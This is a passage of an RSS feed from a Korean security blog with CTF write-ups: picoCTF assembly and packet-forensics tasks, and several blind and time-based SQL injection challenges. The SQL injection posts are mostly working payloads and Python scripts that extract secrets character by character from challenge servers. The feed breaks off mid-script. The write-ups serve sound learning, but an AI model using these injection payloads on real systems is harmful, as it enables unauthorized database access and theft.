<?xml version="1.0" encoding="UTF-8"?>
<rss version="2.0">
  <channel>
    <title>Hubeen's Home</title>
    <link>https://hubeen.tistory.com/</link>
    <description>I'm Studying Programming, Security Now</description>
    <language>ko</language>
    <pubDate>Tue, 26 May 2026 16:04:05 +0900</pubDate>
    <generator>TISTORY</generator>
    <ttl>100</ttl>
    <managingEditor>문승현 (허빈)</managingEditor>
    <image>
      <title>Hubeen's Home</title>
      <url>https://t1.daumcdn.net/cfile/tistory/211D9A4B57773BCC36</url>
      <link>https://hubeen.tistory.com</link>
    </image>
    <item>
      <title>[picoCTF] assembly-0</title>
      <link>https://hubeen.tistory.com/366</link>
      <description>&lt;p style=&quot;text-align: center; clear: none; float: none;&quot;&gt;&lt;span class=&quot;imageblock&quot; style=&quot;display: inline-block; width: 960px;  height: auto; max-width: 100%;&quot;&gt;&lt;img src=&quot;https://t1.daumcdn.net/cfile/tistory/99171E3B5BC778F607&quot; srcset=&quot;https://img1.daumcdn.net/thumb/R1280x0/?scode=mtistory2&amp;fname=https%3A%2F%2Ft1.daumcdn.net%2Fcfile%2Ftistory%2F99171E3B5BC778F607&quot; width=&quot;960&quot; height=&quot;196&quot; filename=&quot;스크린샷 2018-10-18 03.01.15.png&quot; filemime=&quot;image/jpeg&quot; style=&quot;&quot;/&gt;&lt;/span&gt;&lt;/p&gt;&lt;p&gt;&lt;br /&gt;&lt;/p&gt;&lt;p&gt;이 문제는 어셈블리어를 얼마나 이해를 하느냐를 묻는 문제이다.&lt;/p&gt;&lt;p&gt;&lt;br /&gt;&lt;/p&gt;&lt;p&gt;intel_syntax noprefix&lt;/p&gt;&lt;p&gt;.bits 32&lt;/p&gt;&lt;p&gt;.global asm0&lt;/p&gt;&lt;p&gt;asm0:&lt;/p&gt;&lt;p&gt;push ebp&lt;/p&gt;&lt;p&gt;mov ebp,esp&lt;/p&gt;&lt;p&gt;mov eax,DWORD PTR [ebp+0x8]&lt;/p&gt;&lt;p&gt;mov ebx,DWORD PTR [ebp+0xc]&lt;/p&gt;&lt;p&gt;mov eax,ebx&lt;/p&gt;&lt;p&gt;mov esp,ebp&lt;/p&gt;&lt;p&gt;pop ebp&lt;/p&gt;&lt;p&gt;ret&lt;/p&gt;&lt;p&gt;&lt;br /&gt;&lt;/p&gt;&lt;p&gt;ebp + 0x8 = argv[1]&lt;/p&gt;&lt;p&gt;ebp + 0xc = argv[2]&lt;/p&gt;&lt;p&gt;&lt;br /&gt;&lt;/p&gt;&lt;p&gt;mov eax, ebx로 ebx 값을 eax에 넣는것을 볼 수 있다.&lt;/p&gt;&lt;p&gt;&lt;br /&gt;&lt;/p&gt;&lt;p&gt;eax는 리턴값이다.&lt;/p&gt;</description>
      <category>0x20 Security/0x25 Write-Ups</category>
      <author>문승현 (허빈)</author>
      <guid isPermaLink="true">https://hubeen.tistory.com/366</guid>
      <comments>https://hubeen.tistory.com/366#entry366comment</comments>
      <pubDate>Thu, 18 Oct 2018 03:03:09 +0900</pubDate>
    </item>
    <item>
      <title>[picoCTF] admin panel</title>
      <link>https://hubeen.tistory.com/365</link>
      <description>&lt;p style=&quot;text-align: center; clear: none; float: none;&quot;&gt;&lt;span class=&quot;imageblock&quot; style=&quot;display: inline-block; width: 960px;  height: auto; max-width: 100%;&quot;&gt;&lt;img src=&quot;https://t1.daumcdn.net/cfile/tistory/99433E3A5BC777BC06&quot; srcset=&quot;https://img1.daumcdn.net/thumb/R1280x0/?scode=mtistory2&amp;fname=https%3A%2F%2Ft1.daumcdn.net%2Fcfile%2Ftistory%2F99433E3A5BC777BC06&quot; width=&quot;960&quot; height=&quot;179&quot; filename=&quot;스크린샷 2018-10-18 02.55.31.png&quot; filemime=&quot;image/jpeg&quot; style=&quot;&quot;/&gt;&lt;/span&gt;&lt;/p&gt;&lt;p&gt;&lt;br /&gt;&lt;/p&gt;&lt;p&gt;이 문제는 포렌식 문제로서 패킷을 분석하는 문제이다.&lt;/p&gt;&lt;p&gt;허나 문제에서 트래픽을 캡쳐했고 어드민 패널에 로그인을 한 패킷이라고 한다.&lt;/p&gt;&lt;p&gt;그렇다면 http 프로토콜로 찾으면 쉽게 필터를 할 수 있을 것이라 추측하였다.&lt;/p&gt;&lt;p&gt;&lt;br /&gt;&lt;/p&gt;&lt;p style=&quot;text-align: center; clear: none; float: none;&quot;&gt;&lt;span class=&quot;imageblock&quot; style=&quot;display: inline-block; width: 960px;  height: auto; max-width: 100%;&quot;&gt;&lt;img src=&quot;https://t1.daumcdn.net/cfile/tistory/995539345BC7781207&quot; srcset=&quot;https://img1.daumcdn.net/thumb/R1280x0/?scode=mtistory2&amp;fname=https%3A%2F%2Ft1.daumcdn.net%2Fcfile%2Ftistory%2F995539345BC7781207&quot; width=&quot;960&quot; height=&quot;217&quot; filename=&quot;스크린샷 2018-10-18 02.57.26.png&quot; filemime=&quot;image/jpeg&quot; style=&quot;&quot;/&gt;&lt;/span&gt;&lt;/p&gt;&lt;p&gt;수 많은 패킷 중에서 유일하게 통신하는 것들만 남았다.&lt;br /&gt;&lt;/p&gt;&lt;p&gt;&lt;br /&gt;&lt;/p&gt;&lt;p&gt;POST 메소드로 login에 패킷을 쏜것을 발견할 수 있다.&lt;/p&gt;&lt;p&gt;&lt;br /&gt;&lt;/p&gt;&lt;p&gt;&lt;br /&gt;&lt;/p&gt;&lt;p style=&quot;text-align: center; clear: none; float: none;&quot;&gt;&lt;span class=&quot;imageblock&quot; style=&quot;display: inline-block; width: 960px;  height: auto; max-width: 100%;&quot;&gt;&lt;img src=&quot;https://t1.daumcdn.net/cfile/tistory/99460E355BC7789808&quot; srcset=&quot;https://img1.daumcdn.net/thumb/R1280x0/?scode=mtistory2&amp;fname=https%3A%2F%2Ft1.daumcdn.net%2Fcfile%2Ftistory%2F99460E355BC7789808&quot; width=&quot;960&quot; height=&quot;335&quot; filename=&quot;스크린샷 2018-10-18 02.59.40.png&quot; filemime=&quot;image/jpeg&quot; style=&quot;&quot;/&gt;&lt;/span&gt;&lt;/p&gt;&lt;p&gt;&lt;br /&gt;&lt;/p&gt;&lt;p&gt;&lt;br /&gt;&lt;/p&gt;&lt;p&gt;플래그를 얻을 수 있었다.&lt;/p&gt;&lt;p&gt;&lt;br /&gt;&lt;/p&gt;</description>
      <category>0x20 Security/0x25 Write-Ups</category>
      <author>문승현 (허빈)</author>
      <guid isPermaLink="true">https://hubeen.tistory.com/365</guid>
      <comments>https://hubeen.tistory.com/365#entry365comment</comments>
      <pubDate>Thu, 18 Oct 2018 03:00:11 +0900</pubDate>
    </item>
    <item>
      <title>[picoCTF] A Simple Question</title>
      <link>https://hubeen.tistory.com/364</link>
      <description>&lt;p style=&quot;text-align: center; clear: none; float: none;&quot;&gt;&lt;span class=&quot;imageblock&quot; style=&quot;display: inline-block; width: 960px;  height: auto; max-width: 100%;&quot;&gt;&lt;img src=&quot;https://t1.daumcdn.net/cfile/tistory/99442F4C5BC7760305&quot; srcset=&quot;https://img1.daumcdn.net/thumb/R1280x0/?scode=mtistory2&amp;fname=https%3A%2F%2Ft1.daumcdn.net%2Fcfile%2Ftistory%2F99442F4C5BC7760305&quot; width=&quot;960&quot; height=&quot;185&quot; filename=&quot;스크린샷 2018-10-18 02.48.16.png&quot; filemime=&quot;image/jpeg&quot; style=&quot;&quot;/&gt;&lt;/span&gt;&lt;/p&gt;&lt;p&gt;&lt;/p&gt;&lt;p&gt;이 문제는 blind injection 기법으로 answer의 값을 가져와 인증을 하면 되는 문제이다.&lt;/p&gt;&lt;p&gt;&lt;br /&gt;&lt;/p&gt;&lt;p&gt;먼저 길이는 아래의 쿼리로 가져올 수 있다.&lt;/p&gt;&lt;p&gt;&lt;br /&gt;&lt;/p&gt;&lt;p&gt;a' or length(answer)=5 -- -&lt;/p&gt;&lt;p&gt;&lt;br /&gt;&lt;/p&gt;&lt;p&gt;코드를 작성하여 편하게 가져왔다.&lt;/p&gt;&lt;p&gt;&lt;br /&gt;&lt;/p&gt;&lt;p&gt;&lt;br /&gt;&lt;/p&gt;&lt;p&gt;import requests&lt;/p&gt;&lt;p&gt;import json&lt;/p&gt;&lt;p&gt;length = 0&lt;/p&gt;&lt;p&gt;url = 'http://2018shell3.picoctf.com:2644/answer2.php';&lt;/p&gt;&lt;p&gt;headers = {'User-Agent': 'Mozilla/5.0'}&lt;/p&gt;&lt;p&gt;for i in range(1, 50):&lt;/p&gt;&lt;p style=&quot;margin-left: 2em;&quot;&gt;param = {'answer' : &quot;a' or length(answer)=&quot; + str(i) + &quot; -- -&quot;, 'debug':0}&lt;/p&gt;&lt;p style=&quot;margin-left: 2em;&quot;&gt;rs = requests.post(url, data=param ,headers=headers)&lt;/p&gt;&lt;p style=&quot;margin-left: 2em;&quot;&gt;text = rs.text&lt;/p&gt;&lt;p style=&quot;margin-left: 2em;&quot;&gt;print(str(i) + &quot;start&quot;)&lt;/p&gt;&lt;p style=&quot;margin-left: 2em;&quot;&gt;if(&quot;You are so close.&quot; in text):&lt;/p&gt;&lt;p style=&quot;margin-left: 4em;&quot;&gt;length = i&lt;/p&gt;&lt;p style=&quot;margin-left: 4em;&quot;&gt;break&lt;/p&gt;&lt;p style=&quot;margin-left: 4em;&quot;&gt;print(&quot;find length=&quot; + str(length))&lt;/p&gt;&lt;p style=&quot;margin-left: 4em;&quot;&gt;&lt;br /&gt;&lt;/p&gt;&lt;p&gt;&lt;br /&gt;&lt;/p&gt;&lt;p&gt;그 후 answer의 값을 가져오는 방법은 아래의 쿼리로 가져올 수 있다.&lt;/p&gt;&lt;p&gt;&lt;br /&gt;&lt;/p&gt;&lt;p&gt;&amp;nbsp;a' or length(answer)=14 and Unicode(substr(answer, 1, 1))=41 -- -&lt;/p&gt;&lt;p&gt;&lt;br /&gt;&lt;/p&gt;&lt;p&gt;이 역시 편하게 코드를 작성하여 처리했다.&lt;/p&gt;&lt;p&gt;exploit.py&amp;nbsp;&lt;/p&gt;&lt;p&gt;&lt;br /&gt;&lt;/p&gt;&lt;p&gt;import requests&lt;/p&gt;&lt;p&gt;import json&lt;/p&gt;&lt;p&gt;length = 0&lt;/p&gt;&lt;p&gt;url = 'http://2018shell3.picoctf.com:2644/answer2.php';&lt;/p&gt;&lt;p&gt;headers = {'User-Agent': 'Mozilla/5.0'}&lt;/p&gt;&lt;p&gt;for i in range(1, 50):&lt;/p&gt;&lt;p style=&quot;margin-left: 2em;&quot;&gt;param = {'answer' : &quot;a' or length(answer)=&quot; + str(i) + &quot; -- -&quot;, 'debug':0}&lt;/p&gt;&lt;p style=&quot;margin-left: 2em;&quot;&gt;rs = requests.post(url, data=param ,headers=headers)&lt;/p&gt;&lt;p style=&quot;margin-left: 2em;&quot;&gt;text = rs.text&lt;/p&gt;&lt;p style=&quot;margin-left: 2em;&quot;&gt;print(str(i) + &quot;start&quot;)&lt;/p&gt;&lt;p style=&quot;margin-left: 2em;&quot;&gt;if(&quot;You are so close.&quot; in text):&lt;/p&gt;&lt;p style=&quot;margin-left: 4em;&quot;&gt;length = i&lt;/p&gt;&lt;p style=&quot;margin-left: 4em;&quot;&gt;break&lt;/p&gt;&lt;p style=&quot;margin-left: 4em;&quot;&gt;print(&quot;find length=&quot; + str(length))&lt;/p&gt;&lt;p style=&quot;margin-left: 4em;&quot;&gt;&lt;br /&gt;&lt;/p&gt;&lt;p&gt;flag = &quot;&quot;&lt;/p&gt;&lt;p&gt;for i in range(1, length+1):&lt;/p&gt;&lt;p style=&quot;margin-left: 2em;&quot;&gt;print(&quot;start &quot; + str(i))&lt;/p&gt;&lt;p style=&quot;margin-left: 2em;&quot;&gt;for c in range(48,125):&lt;/p&gt;&lt;p style=&quot;margin-left: 4em;&quot;&gt;param = {'answer' : &quot;a' or length(answer)=14 and unicode(substr(answer,&quot; + str(i) + &quot;,1))=&quot; + str(c) + &quot; -- - &quot;, 'debug': 0}&lt;/p&gt;&lt;p style=&quot;margin-left: 4em;&quot;&gt;rs = requests.post(url, data=param, headers=headers)&lt;/p&gt;&lt;p style=&quot;margin-left: 4em;&quot;&gt;text = rs.text&lt;/p&gt;&lt;p style=&quot;margin-left: 4em;&quot;&gt;if(&quot;Wrong.&quot; in text):&lt;/p&gt;&lt;p style=&quot;margin-left: 6em;&quot;&gt;continue&lt;/p&gt;&lt;p style=&quot;margin-left: 4em;&quot;&gt;else:&lt;/p&gt;&lt;p style=&quot;margin-left: 6em;&quot;&gt;print(&quot;find &quot; + chr(c))&lt;/p&gt;&lt;p style=&quot;margin-left: 6em;&quot;&gt;flag += chr(c)&lt;/p&gt;&lt;p style=&quot;margin-left: 6em;&quot;&gt;break&lt;/p&gt;&lt;p&gt;print(flag)&lt;/p&gt;</description>
      <category>0x20 Security/0x25 Write-Ups</category>
      <author>문승현 (허빈)</author>
      <guid isPermaLink="true">https://hubeen.tistory.com/364</guid>
      <comments>https://hubeen.tistory.com/364#entry364comment</comments>
      <pubDate>Thu, 18 Oct 2018 02:53:28 +0900</pubDate>
    </item>
    <item>
      <title>[LOS1] umaru</title>
      <link>https://hubeen.tistory.com/363</link>
      <description>&lt;p style=&quot;text-align: center; clear: none; float: none;&quot;&gt;&lt;span class=&quot;imageblock&quot; style=&quot;display: inline-block; width: 960px;  height: auto; max-width: 100%;&quot;&gt;&lt;img src=&quot;https://t1.daumcdn.net/cfile/tistory/99611D4C5BACE56708&quot; srcset=&quot;https://img1.daumcdn.net/thumb/R1280x0/?scode=mtistory2&amp;fname=https%3A%2F%2Ft1.daumcdn.net%2Fcfile%2Ftistory%2F99611D4C5BACE56708&quot; width=&quot;960&quot; height=&quot;496&quot; filename=&quot;스크린샷 2018-09-27 23.11.38.png&quot; filemime=&quot;image/jpeg&quot; style=&quot;&quot;/&gt;&lt;/span&gt;&lt;/p&gt;&lt;p style=&quot;text-align: center; clear: none; float: none;&quot;&gt;&lt;br /&gt;&lt;/p&gt;&lt;p style=&quot;text-align: left; clear: none; float: none;&quot;&gt;이 문제는 flag를 알아내면 되는 문제이다.&lt;/p&gt;&lt;p style=&quot;text-align: left; clear: none; float: none;&quot;&gt;허나 실제 플래그와 입력한 플래그가 틀린다면 리셋을 해버린다.&lt;/p&gt;&lt;p style=&quot;text-align: left; clear: none; float: none;&quot;&gt;&lt;br /&gt;&lt;/p&gt;&lt;p style=&quot;text-align: left; clear: none; float: none;&quot;&gt;&lt;span style=&quot;font-size: medium; font-family: monospace; color: rgb(0, 0, 187);&quot;&gt;$new_flag&amp;nbsp;&lt;/span&gt;&lt;span style=&quot;font-size: medium; font-family: monospace; color: rgb(0, 119, 0);&quot;&gt;=&amp;nbsp;&lt;/span&gt;&lt;span style=&quot;font-size: medium; font-family: monospace; color: rgb(0, 0, 187);&quot;&gt;substr&lt;/span&gt;&lt;span style=&quot;font-size: medium; font-family: monospace; color: rgb(0, 119, 0);&quot;&gt;(&lt;/span&gt;&lt;span style=&quot;font-size: medium; font-family: monospace; color: rgb(0, 0, 187);&quot;&gt;md5&lt;/span&gt;&lt;span style=&quot;font-size: medium; font-family: monospace; color: rgb(0, 119, 0);&quot;&gt;(&lt;/span&gt;&lt;span style=&quot;font-size: medium; font-family: monospace; color: rgb(0, 0, 187);&quot;&gt;rand&lt;/span&gt;&lt;span style=&quot;font-size: medium; font-family: monospace; color: rgb(0, 119, 0);&quot;&gt;(&lt;/span&gt;&lt;span style=&quot;font-size: medium; font-family: monospace; color: rgb(0, 0, 187);&quot;&gt;10000000&lt;/span&gt;&lt;span style=&quot;font-size: medium; font-family: monospace; color: rgb(0, 119, 0);&quot;&gt;,&lt;/span&gt;&lt;span style=&quot;font-size: medium; font-family: monospace; color: rgb(0, 0, 187);&quot;&gt;99999999&lt;/span&gt;&lt;span style=&quot;font-size: medium; font-family: monospace; color: rgb(0, 119, 0);&quot;&gt;).&lt;/span&gt;&lt;span style=&quot;font-size: medium; font-family: monospace; color: rgb(221, 0, 0);&quot;&gt;&quot;qwer&quot;&lt;/span&gt;&lt;span style=&quot;font-size: medium; font-family: monospace; color: rgb(0, 119, 0);&quot;&gt;.&lt;/span&gt;&lt;span style=&quot;font-size: medium; font-family: monospace; color: rgb(0, 0, 187);&quot;&gt;rand&lt;/span&gt;&lt;span style=&quot;font-size: medium; font-family: monospace; color: rgb(0, 119, 0);&quot;&gt;(&lt;/span&gt;&lt;span style=&quot;font-size: medium; font-family: monospace; color: rgb(0, 0, 187);&quot;&gt;10000000&lt;/span&gt;&lt;span style=&quot;font-size: medium; font-family: monospace; color: rgb(0, 119, 0);&quot;&gt;,&lt;/span&gt;&lt;span style=&quot;font-size: medium; font-family: monospace; color: rgb(0, 0, 187);&quot;&gt;99999999&lt;/span&gt;&lt;span style=&quot;font-size: medium; font-family: monospace; color: rgb(0, 119, 0);&quot;&gt;).&lt;/span&gt;&lt;span style=&quot;font-size: medium; font-family: monospace; color: rgb(221, 0, 0);&quot;&gt;&quot;asdf&quot;&lt;/span&gt;&lt;span style=&quot;font-size: medium; font-family: monospace; color: rgb(0, 119, 0);&quot;&gt;.&lt;/span&gt;&lt;span style=&quot;font-size: medium; font-family: monospace; color: rgb(0, 0, 187);&quot;&gt;rand&lt;/span&gt;&lt;span style=&quot;font-size: medium; font-family: monospace; color: rgb(0, 119, 0);&quot;&gt;(&lt;/span&gt;&lt;span style=&quot;font-size: medium; font-family: monospace; color: rgb(0, 0, 187);&quot;&gt;10000000&lt;/span&gt;&lt;span style=&quot;font-size: medium; font-family: monospace; color: rgb(0, 119, 0);&quot;&gt;,&lt;/span&gt;&lt;span style=&quot;font-size: medium; font-family: monospace; color: rgb(0, 0, 187);&quot;&gt;99999999&lt;/span&gt;&lt;span style=&quot;font-size: medium; font-family: monospace; color: rgb(0, 119, 0);&quot;&gt;)),&lt;/span&gt;&lt;span style=&quot;font-size: medium; font-family: monospace; color: rgb(0, 0, 187);&quot;&gt;8&lt;/span&gt;&lt;span style=&quot;font-size: medium; font-family: monospace; color: rgb(0, 119, 0);&quot;&gt;,&lt;/span&gt;&lt;span style=&quot;font-size: medium; font-family: monospace; color: rgb(0, 0, 187);&quot;&gt;16&lt;/span&gt;&lt;span style=&quot;font-size: medium; font-family: monospace; color: rgb(0, 119, 0);&quot;&gt;);&lt;/span&gt;&lt;/p&gt;&lt;p style=&quot;text-align: left; clear: none; float: none;&quot;&gt;&lt;br /&gt;&lt;/p&gt;&lt;p style=&quot;text-align: left; clear: none; float: none;&quot;&gt;ㅇㅇ;;&lt;/p&gt;&lt;p style=&quot;text-align: left; clear: none; float: none;&quot;&gt;&lt;br /&gt;&lt;/p&gt;&lt;p style=&quot;text-align: left; clear: none; float: none;&quot;&gt;update문을 에러를 띄워서 찾아내면 대는거시다.&lt;/p&gt;&lt;p style=&quot;text-align: left; clear: none; float: none;&quot;&gt;그렇다면 update문은 실제로 실행이 되지 않고 리셋이 되지 않는것이다.&lt;/p&gt;&lt;p style=&quot;text-align: left; clear: none; float: none;&quot;&gt;&lt;br /&gt;&lt;/p&gt;&lt;p style=&quot;text-align: left; clear: none; float: none;&quot;&gt;하지만 맞는지 안맞는지를 어떻게 알아야할지가 문제였다.&lt;/p&gt;&lt;p style=&quot;text-align: left; clear: none; float: none;&quot;&gt;&lt;br /&gt;&lt;/p&gt;&lt;p style=&quot;text-align: left; clear: none; float: none;&quot;&gt;방법은 sleep을 통해 리퀘스트 받은 시간으로 하면 대는거시여따.&lt;/p&gt;&lt;p style=&quot;text-align: left; clear: none; float: none;&quot;&gt;sleep(0) 일 경우&amp;nbsp; select 1 union select 2를 이용하여 에러를 띄워주는 식인것이다.&lt;/p&gt;&lt;p style=&quot;text-align: left; clear: none; float: none;&quot;&gt;맞으면 sleep(3)이 되어 실행이 대는거시다&lt;/p&gt;&lt;p style=&quot;text-align: left; clear: none; float: none;&quot;&gt;&lt;br /&gt;&lt;/p&gt;&lt;p style=&quot;text-align: left; clear: none; float: none;&quot;&gt;&lt;br /&gt;&lt;/p&gt;&lt;p style=&quot;clear: none; float: none;&quot;&gt;import requests&lt;/p&gt;&lt;p style=&quot;clear: none; float: none;&quot;&gt;import time&lt;/p&gt;&lt;p style=&quot;clear: none; float: none;&quot;&gt;&lt;br /&gt;&lt;/p&gt;&lt;p style=&quot;clear: none; float: none;&quot;&gt;url = &quot;https://los.eagle-jump.org/umaru_6f977f0504e56eeb72967f35eadbfdf5.php&quot;&lt;/p&gt;&lt;p style=&quot;clear: none; float: none;&quot;&gt;headers = {'User-Agent': 'Mozilla/5.0'}&lt;/p&gt;&lt;p style=&quot;clear: none; float: none;&quot;&gt;cookies = {'PHPSESSID':'25g6h0pbijn3arrdalpfkie222'}&lt;/p&gt;&lt;p style=&quot;clear: none; float: none;&quot;&gt;&lt;br /&gt;&lt;/p&gt;&lt;p style=&quot;clear: none; float: none;&quot;&gt;&lt;br /&gt;&lt;/p&gt;&lt;p style=&quot;clear: none; float: none;&quot;&gt;'''&lt;/p&gt;&lt;p style=&quot;clear: none; float: none;&quot;&gt;?flag=sleep(2*(length(flag)=1)) | (select 1 union select 2) -- -&lt;/p&gt;&lt;p style=&quot;clear: none; float: none;&quot;&gt;'''&lt;/p&gt;&lt;p style=&quot;clear: none; float: none;&quot;&gt;length = 16&lt;/p&gt;&lt;p style=&quot;clear: none; float: none;&quot;&gt;strs = &quot;&quot;&lt;/p&gt;&lt;p style=&quot;clear: none; float: none;&quot;&gt;&lt;br /&gt;&lt;/p&gt;&lt;p style=&quot;clear: none; float: none;&quot;&gt;for i in range(1, 50):&lt;/p&gt;&lt;p style=&quot;clear: none; float: none;&quot;&gt;&amp;nbsp; &amp;nbsp; start = time.time()&lt;/p&gt;&lt;p style=&quot;clear: none; float: none;&quot;&gt;&amp;nbsp; &amp;nbsp; rs = requests.get(url + &quot;?flag=sleep(2*(length(flag)=&quot; + str(i) + &quot;))%20||%20(select%201%20union%20select%202)%20--%20-&quot;, headers=headers, cookies=cookies)&lt;/p&gt;&lt;p style=&quot;clear: none; float: none;&quot;&gt;&lt;br /&gt;&lt;/p&gt;&lt;p style=&quot;clear: none; float: none;&quot;&gt;&amp;nbsp; &amp;nbsp; if((time.time()-start) &amp;gt; 2):&lt;/p&gt;&lt;p style=&quot;clear: none; float: none;&quot;&gt;&amp;nbsp; &amp;nbsp; &amp;nbsp; &amp;nbsp; print(&quot;find it length = &quot; + str(i))&lt;/p&gt;&lt;p style=&quot;clear: none; float: none;&quot;&gt;&amp;nbsp; &amp;nbsp; &amp;nbsp; &amp;nbsp; length = i&lt;/p&gt;&lt;p style=&quot;clear: none; float: none;&quot;&gt;&amp;nbsp; &amp;nbsp; &amp;nbsp; &amp;nbsp; break&lt;/p&gt;&lt;p style=&quot;clear: none; float: none;&quot;&gt;&lt;br /&gt;&lt;/p&gt;&lt;p style=&quot;clear: none; float: none;&quot;&gt;for i in range(1, length+1):&lt;/p&gt;&lt;p style=&quot;clear: none; float: none;&quot;&gt;&amp;nbsp; &amp;nbsp; print(str(i) + &quot; start !&quot;)&lt;/p&gt;&lt;p style=&quot;clear: none; float: none;&quot;&gt;&amp;nbsp; &amp;nbsp; for c in range(48, 127):&lt;/p&gt;&lt;p style=&quot;clear: none; float: none;&quot;&gt;&amp;nbsp; &amp;nbsp; &amp;nbsp; &amp;nbsp; start = time.time()&lt;/p&gt;&lt;p style=&quot;clear: none; float: none;&quot;&gt;&amp;nbsp; &amp;nbsp; &amp;nbsp; &amp;nbsp; rs = requests.post(url + &quot;?flag=sleep(2*(flag%20like%20%27&quot; + strs + chr(c) + &quot;%%27))%20||%20(select%201%20union%20select%202)%20--%20-&quot;, headers=headers, cookies=cookies)&lt;/p&gt;&lt;p style=&quot;clear: none; float: none;&quot;&gt;&lt;br /&gt;&lt;/p&gt;&lt;p style=&quot;clear: none; float: none;&quot;&gt;&amp;nbsp; &amp;nbsp; &amp;nbsp; &amp;nbsp; if((time.time()-start) &amp;gt;2):&lt;/p&gt;&lt;p style=&quot;clear: none; float: none;&quot;&gt;&amp;nbsp; &amp;nbsp; &amp;nbsp; &amp;nbsp; &amp;nbsp; &amp;nbsp; print(str(i) + &quot; find it &quot; + str(c) + &quot; &quot; + chr(c))&lt;/p&gt;&lt;p style=&quot;clear: none; float: none;&quot;&gt;&amp;nbsp; &amp;nbsp; &amp;nbsp; &amp;nbsp; &amp;nbsp; &amp;nbsp; strs += chr(c)&lt;/p&gt;&lt;p style=&quot;clear: none; float: none;&quot;&gt;&amp;nbsp; &amp;nbsp; &amp;nbsp; &amp;nbsp; &amp;nbsp; &amp;nbsp; break&lt;/p&gt;&lt;p style=&quot;clear: none; float: none;&quot;&gt;&lt;br /&gt;&lt;/p&gt;&lt;p style=&quot;clear: none; float: none;&quot;&gt;&lt;br /&gt;&lt;/p&gt;&lt;p style=&quot;text-align: left; clear: none; float: none;&quot;&gt;print(strs)&lt;/p&gt;</description>
      <category>0x20 Security/0x25 Write-Ups</category>
      <author>문승현 (허빈)</author>
      <guid isPermaLink="true">https://hubeen.tistory.com/363</guid>
      <comments>https://hubeen.tistory.com/363#entry363comment</comments>
      <pubDate>Thu, 27 Sep 2018 23:17:03 +0900</pubDate>
    </item>
    <item>
      <title>[LOS1] black_eyes</title>
      <link>https://hubeen.tistory.com/362</link>
      <description>&lt;p style=&quot;text-align: center; clear: none; float: none;&quot;&gt;&lt;span class=&quot;imageblock&quot; style=&quot;display: inline-block; width: 960px;  height: auto; max-width: 100%;&quot;&gt;&lt;img src=&quot;https://t1.daumcdn.net/cfile/tistory/99E3EA365BABC8670C&quot; srcset=&quot;https://img1.daumcdn.net/thumb/R1280x0/?scode=mtistory2&amp;fname=https%3A%2F%2Ft1.daumcdn.net%2Fcfile%2Ftistory%2F99E3EA365BABC8670C&quot; width=&quot;960&quot; height=&quot;481&quot; filename=&quot;스크린샷 2018-09-27 02.55.59.png&quot; filemime=&quot;image/jpeg&quot; style=&quot;&quot;/&gt;&lt;/span&gt;&lt;/p&gt;&lt;p&gt;&lt;br /&gt;&lt;/p&gt;&lt;p&gt;이 문제는 if문이 막혀있었다.&lt;/p&gt;&lt;p&gt;그래서 검색을 해보니 union으로 거짓일 경우와 참일 경우를 비교하는 방법을 찾아냈다.&lt;/p&gt;&lt;p&gt;&lt;br /&gt;&lt;/p&gt;&lt;p&gt;&lt;/p&gt;&lt;p style=&quot;text-align: center; clear: none; float: none;&quot;&gt;&lt;span class=&quot;imageblock&quot; style=&quot;display: inline-block; width: 874px;  height: auto; max-width: 100%;&quot;&gt;&lt;img src=&quot;https://t1.daumcdn.net/cfile/tistory/99DFE9375BABC8A80E&quot; srcset=&quot;https://img1.daumcdn.net/thumb/R1280x0/?scode=mtistory2&amp;fname=https%3A%2F%2Ft1.daumcdn.net%2Fcfile%2Ftistory%2F99DFE9375BABC8A80E&quot; width=&quot;874&quot; height=&quot;772&quot; filename=&quot;스크린샷 2018-09-27 02.57.40.png&quot; filemime=&quot;image/jpeg&quot; style=&quot;&quot;/&gt;&lt;/span&gt;&lt;/p&gt;&lt;p&gt;&lt;br /&gt;&lt;/p&gt;&lt;p&gt;이것을 이용해서 이전 문제와 비슷하게 풀어냈다.&lt;/p&gt;&lt;p&gt;&lt;br /&gt;&lt;/p&gt;&lt;p&gt;import requests&lt;/p&gt;&lt;p&gt;&lt;br /&gt;&lt;/p&gt;&lt;p&gt;&lt;br /&gt;&lt;/p&gt;&lt;p&gt;url = &quot;https://los.eagle-jump.org/dark_eyes_a7f01583a2ab681dc71e5fd3a40c0bd4.php&quot;&lt;/p&gt;&lt;p&gt;headers = {'User-Agent': 'Mozilla/5.0'}&lt;/p&gt;&lt;p&gt;cookies = {'PHPSESSID':'25g6h0pbijn3arrdalpfkie222'}&lt;/p&gt;&lt;p&gt;&lt;br /&gt;&lt;/p&gt;&lt;p&gt;'''&lt;/p&gt;&lt;p&gt;?pw=1234%27%20or%20id=%27admin%27%20and%20(select%20length(pw)=8%20union%20select%201)--%20-&lt;/p&gt;&lt;p&gt;'''&lt;/p&gt;&lt;p&gt;&lt;br /&gt;&lt;/p&gt;&lt;p&gt;length = 0&lt;/p&gt;&lt;p&gt;&lt;br /&gt;&lt;/p&gt;&lt;p&gt;for i in range(1,100):&lt;/p&gt;&lt;p&gt;&amp;nbsp; &amp;nbsp; rs = requests.get(url + &quot;?pw=1234%27%20or%20id=%27admin%27%20and%20(select%20length(pw)=&quot; + str(i) + &quot;%20union%20select%201)--%20-&quot;, headers=headers, cookies=cookies)&lt;/p&gt;&lt;p&gt;&amp;nbsp; &amp;nbsp; text = rs.text&lt;/p&gt;&lt;p&gt;&lt;br /&gt;&lt;/p&gt;&lt;p&gt;&amp;nbsp; &amp;nbsp; if(&quot;query&quot; in text):&lt;/p&gt;&lt;p&gt;&amp;nbsp; &amp;nbsp; &amp;nbsp; &amp;nbsp; print(&quot;find it length = &quot; + str(i))&lt;/p&gt;&lt;p&gt;&amp;nbsp; &amp;nbsp; &amp;nbsp; &amp;nbsp; length = i&lt;/p&gt;&lt;p&gt;&amp;nbsp; &amp;nbsp; &amp;nbsp; &amp;nbsp; break&lt;/p&gt;&lt;p&gt;&lt;br /&gt;&lt;/p&gt;&lt;p&gt;&lt;br /&gt;&lt;/p&gt;&lt;p&gt;# get length&lt;/p&gt;&lt;p&gt;&lt;br /&gt;&lt;/p&gt;&lt;p&gt;for i in range(1, length+1):&lt;/p&gt;&lt;p&gt;&amp;nbsp; &amp;nbsp; for c in range(33, 255):&lt;/p&gt;&lt;p&gt;&amp;nbsp; &amp;nbsp; &amp;nbsp; &amp;nbsp; rs = requests.get(url + &quot;?pw=1234%27%20or%20id=%27admin%27%20and%20(select%20ord(substr(pw, &quot; + str(i) + &quot;,1))=&quot;+ str(c) +&quot;%20union%20select%201)--%20-&quot;, headers=headers, cookies=cookies)&lt;/p&gt;&lt;p&gt;&amp;nbsp; 